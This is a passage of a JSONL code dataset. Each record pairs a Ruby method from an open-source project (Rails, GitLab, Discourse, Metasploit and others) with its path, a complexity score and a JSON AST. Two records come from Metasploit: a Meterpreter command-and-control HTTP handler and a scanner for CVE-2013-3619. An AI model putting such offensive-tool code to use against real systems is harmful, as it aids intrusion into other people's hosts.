:[\"@tables\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"build_table_rows_from\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"fixtures\"]}]}]}]}","id":"d135b9b8-058b-4f6b-b545-1cac6908163d"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/report.rb","start_line":482,"raw_source":"def rgba_color(hex, opacity = 1)\n rgbs = hex_to_rgbs(adjust_hex(hex))\n \"rgba(#{rgbs.join(\",\")},#{opacity})\"\n end","complexity_score":5.45,"ast_json":"{\"type\":\"def\",\"children\":[\"rgba_color\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hex\"]},{\"type\":\"optarg\",\"children\":[\"opacity\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rgbs\",{\"type\":\"send\",\"children\":[null,\"hex_to_rgbs\",{\"type\":\"send\",\"children\":[null,\"adjust_hex\",{\"type\":\"lvar\",\"children\":[\"hex\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rgba(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rgbs\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opacity\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"4021b908-cebb-481a-b9c9-8544a3534a2b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_transfer.rb","start_line":19,"raw_source":"def rename_project(path_was, path, namespace_path)\n base_dir = File.join(root_dir, namespace_path)\n move(path_was, path, base_dir)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_was\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"namespace_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"root_dir\"]},{\"type\":\"lvar\",\"children\":[\"namespace_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"move\",{\"type\":\"lvar\",\"children\":[\"path_was\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]}]}]}","id":"c22626ba-cf62-441e-93af-cf6f8645efbe"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_length.rb","start_line":314,"raw_source":"def allowed_heredoc\n cop_config['AllowHeredoc']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_heredoc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowHeredoc\"]}]}]}","id":"39771be1-954d-43b2-9cb6-d4f80f61a6e6"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/callbacks_test.rb","start_line":208,"raw_source":"def test_after_validation_does_not_mutate_the_if_options_array\n opts = []\n\n Class.new(Dog) do\n after_validation(if: opts, on: :create) { }\n end\n\n assert_empty opts\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_validation_does_not_mutate_the_if_options_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Dog\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"after_validation\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"e8a3ac80-1c2a-426f-a8b6-de71157c5655"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/integrations/irker_worker.rb","start_line":169,"raw_source":"def files_count(commit)\n diff_size = commit.raw_deltas.size\n\n \"#{diff_size} file\".pluralize(diff_size)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"files_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"raw_deltas\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_size\"]}]},{\"type\":\"str\",\"children\":[\" file\"]}]},\"pluralize\",{\"type\":\"lvar\",\"children\":[\"diff_size\"]}]}]}]}","id":"89e6ef1b-392f-499a-a6d4-6154f94f1afe"} {"repo_name":"hooks","file_path":"./repos/hooks/spec/unit/lib/hooks/plugins/auth/base_spec.rb","start_line":285,"raw_source":"def self.valid?(payload:, headers:, config:)\n stats.increment(\"auth.validation\", { plugin: \"TestAuth\" })\n\n # Simulate validation failure\n if headers[\"Authorization\"].nil?\n failbot.report(\"Missing authorization header\", { plugin: \"TestAuth\" })\n return false\n end\n\n true\n end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"payload\"]},{\"type\":\"kwarg\",\"children\":[\"headers\"]},{\"type\":\"kwarg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stats\"]},\"increment\",{\"type\":\"str\",\"children\":[\"auth.validation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plugin\"]},{\"type\":\"str\",\"children\":[\"TestAuth\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failbot\"]},\"report\",{\"type\":\"str\",\"children\":[\"Missing authorization header\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plugin\"]},{\"type\":\"str\",\"children\":[\"TestAuth\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"842a96f3-1a6e-4953-afc5-1ea83697b072"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ansible/runner.rb","start_line":4,"raw_source":"def available?\n return @available if defined?(@available)\n\n @available = system(runner_env, \"which ansible-runner >/dev/null 2>&1\")\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@available\",{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"send\",\"children\":[null,\"runner_env\"]},{\"type\":\"str\",\"children\":[\"which ansible-runner >/dev/null 2>&1\"]}]}]}]}]}","id":"0dd7b8ce-25f0-46a1-abbf-4de170b2da5a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb","start_line":741,"raw_source":"def on_passive_request(cli, req)\n\n begin\n\n resp = Rex::Proto::Http::Response.new(200, \"OK\")\n resp['Content-Type'] = 'application/octet-stream'\n resp['Connection'] = 'close'\n\n self.last_checkin = ::Time.now\n\n if req.method == 'GET'\n rpkt = send_queue.shift\n resp.body = rpkt || ''\n begin\n cli.send_response(resp)\n rescue ::Exception => e\n send_queue.unshift(rpkt) if rpkt\n elog(\"Exception sending a reply to the reader request #{cli.inspect}\", error: e)\n end\n else\n resp.body = \"\"\n if req.body and req.body.length > 0\n packet = Packet.new(0)\n packet.add_raw(req.body)\n packet.parse_header!\n packet = decrypt_inbound_packet(packet)\n dispatch_inbound_packet(packet)\n end\n cli.send_response(resp)\n end\n\n rescue ::Exception => e\n elog(\"Exception handling request: #{cli.inspect} #{req.inspect}\", error: e)\n end\n end","complexity_score":62.05,"ast_json":"{\"type\":\"def\",\"children\":[\"on_passive_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"Response\"]},\"new\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"str\",\"children\":[\"OK\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_checkin=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"method\"]},\"==\",{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rpkt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_queue\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rpkt\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rpkt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_queue\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"rpkt\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception sending a reply to the reader request \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"inspect\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"add_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"parse_header!\"]},{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"send\",\"children\":[null,\"decrypt_inbound_packet\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dispatch_inbound_packet\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception handling request: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"inspect\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}","id":"4b20801d-2d63-4105-83a8-c347d2859a9d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/pajamas/concerns/checkbox_radio_label_with_help_text_spec.rb","start_line":19,"raw_source":"def initialize(\n form: nil,\n method: nil,\n name: nil,\n label: nil,\n help_text: nil,\n label_options: {},\n radio_options: {},\n value: nil\n )\n @form = form\n @method = method\n @name = name\n @label_argument = label\n @help_text_argument = help_text\n @label_options = label_options\n @input_options = radio_options\n @value = value\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"form\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"method\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"label\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"help_text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"label_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"radio_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@form\",{\"type\":\"lvar\",\"children\":[\"form\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@method\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label_argument\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@help_text_argument\",{\"type\":\"lvar\",\"children\":[\"help_text\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label_options\",{\"type\":\"lvar\",\"children\":[\"label_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@input_options\",{\"type\":\"lvar\",\"children\":[\"radio_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"429e4155-a6f6-442e-a0e5-ffbf581fff91"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb","start_line":59,"raw_source":"def run_host(ip)\n connect(true, { \"SSL\" => true }) # Force SSL\n cert = OpenSSL::X509::Certificate.new(sock.peer_cert)\n disconnect\n\n unless cert\n vprint_error(\"#{ip}:#{rport} - No certificate found\")\n return\n end\n\n pkey = OpenSSL::PKey::RSA.new(PRIVATE_KEY)\n result = cert.verify(pkey)\n\n if result\n print_good(\"#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)\")\n # Report with the SSL Private Key hash for the host\n digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(\":\")\n report_note(\n :host => ip,\n :proto => 'tcp',\n :port => rport,\n :type => 'supermicro.ipmi.ssl.certificate.pkey_hash',\n :data => { :digest => digest }\n )\n\n report_vuln({\n :host => rhost,\n :port => rport,\n :proto => 'tcp',\n :name => \"Supermicro Onboard IPMI Static SSL Certificate\",\n :refs => self.references\n })\n end\n end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Certificate\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"peer_cert\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - No certificate found\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkey\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"RSA\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"PRIVATE_KEY\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert\"]},\"verify\",{\"type\":\"lvar\",\"children\":[\"pkey\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Vulnerable to CVE-2013-3619 (Static SSL Certificate)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA1\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkey\"]},\"public_key\"]},\"to_der\"]}]},\"to_s\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"supermicro.ipmi.ssl.certificate.pkey_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Supermicro Onboard IPMI Static SSL Certificate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"references\"]}]}]}]}]},null]}]}]}","id":"90e38aa5-95b8-4bd6-b715-9ccc48bf4cb0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/restrict_allowed_schemas.rb","start_line":41,"raw_source":"def allowed_gitlab_schemas=(value)\n self.context[:allowed_gitlab_schemas] = value\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_gitlab_schemas=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"context\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"allowed_gitlab_schemas\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"5980e4be-10a8-465e-be73-b50a87a453e2"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/predications.rb","start_line":84,"raw_source":"def not_between(other)\n if unboundable?(other.begin) == 1 || unboundable?(other.end) == -1\n not_in([])\n elsif open_ended?(other.begin)\n if open_ended?(other.end)\n if infinity?(other.begin) == 1 || infinity?(other.end) == -1\n not_in([])\n else\n self.in([])\n end\n elsif other.exclude_end?\n gteq(other.end)\n else\n gt(other.end)\n end\n elsif open_ended?(other.end)\n lt(other.begin)\n else\n left = lt(other.begin)\n right = if other.exclude_end?\n gteq(other.end)\n else\n gt(other.end)\n end\n left.or(right)\n end\n end","complexity_score":65.53,"ast_json":"{\"type\":\"def\",\"children\":[\"not_between\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unboundable?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"begin\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unboundable?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]},\"==\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[null,\"not_in\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_ended?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"begin\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_ended?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"infinity?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"begin\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"infinity?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]},\"==\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[null,\"not_in\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"in\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"exclude_end?\"]},{\"type\":\"send\",\"children\":[null,\"gteq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]},{\"type\":\"send\",\"children\":[null,\"gt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_ended?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]},{\"type\":\"send\",\"children\":[null,\"lt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"begin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"left\",{\"type\":\"send\",\"children\":[null,\"lt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"begin\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"exclude_end?\"]},{\"type\":\"send\",\"children\":[null,\"gteq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]},{\"type\":\"send\",\"children\":[null,\"gt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"end\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"or\",{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}]}]}]}","id":"8c6982dc-feae-4df2-8b97-9d506f6a8c37"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/project_cache_worker.rb","start_line":56,"raw_source":"def try_obtain_lease_for(project_id, statistics)\n Gitlab::ExclusiveLease\n .new(project_cache_worker_key(project_id, statistics), timeout: 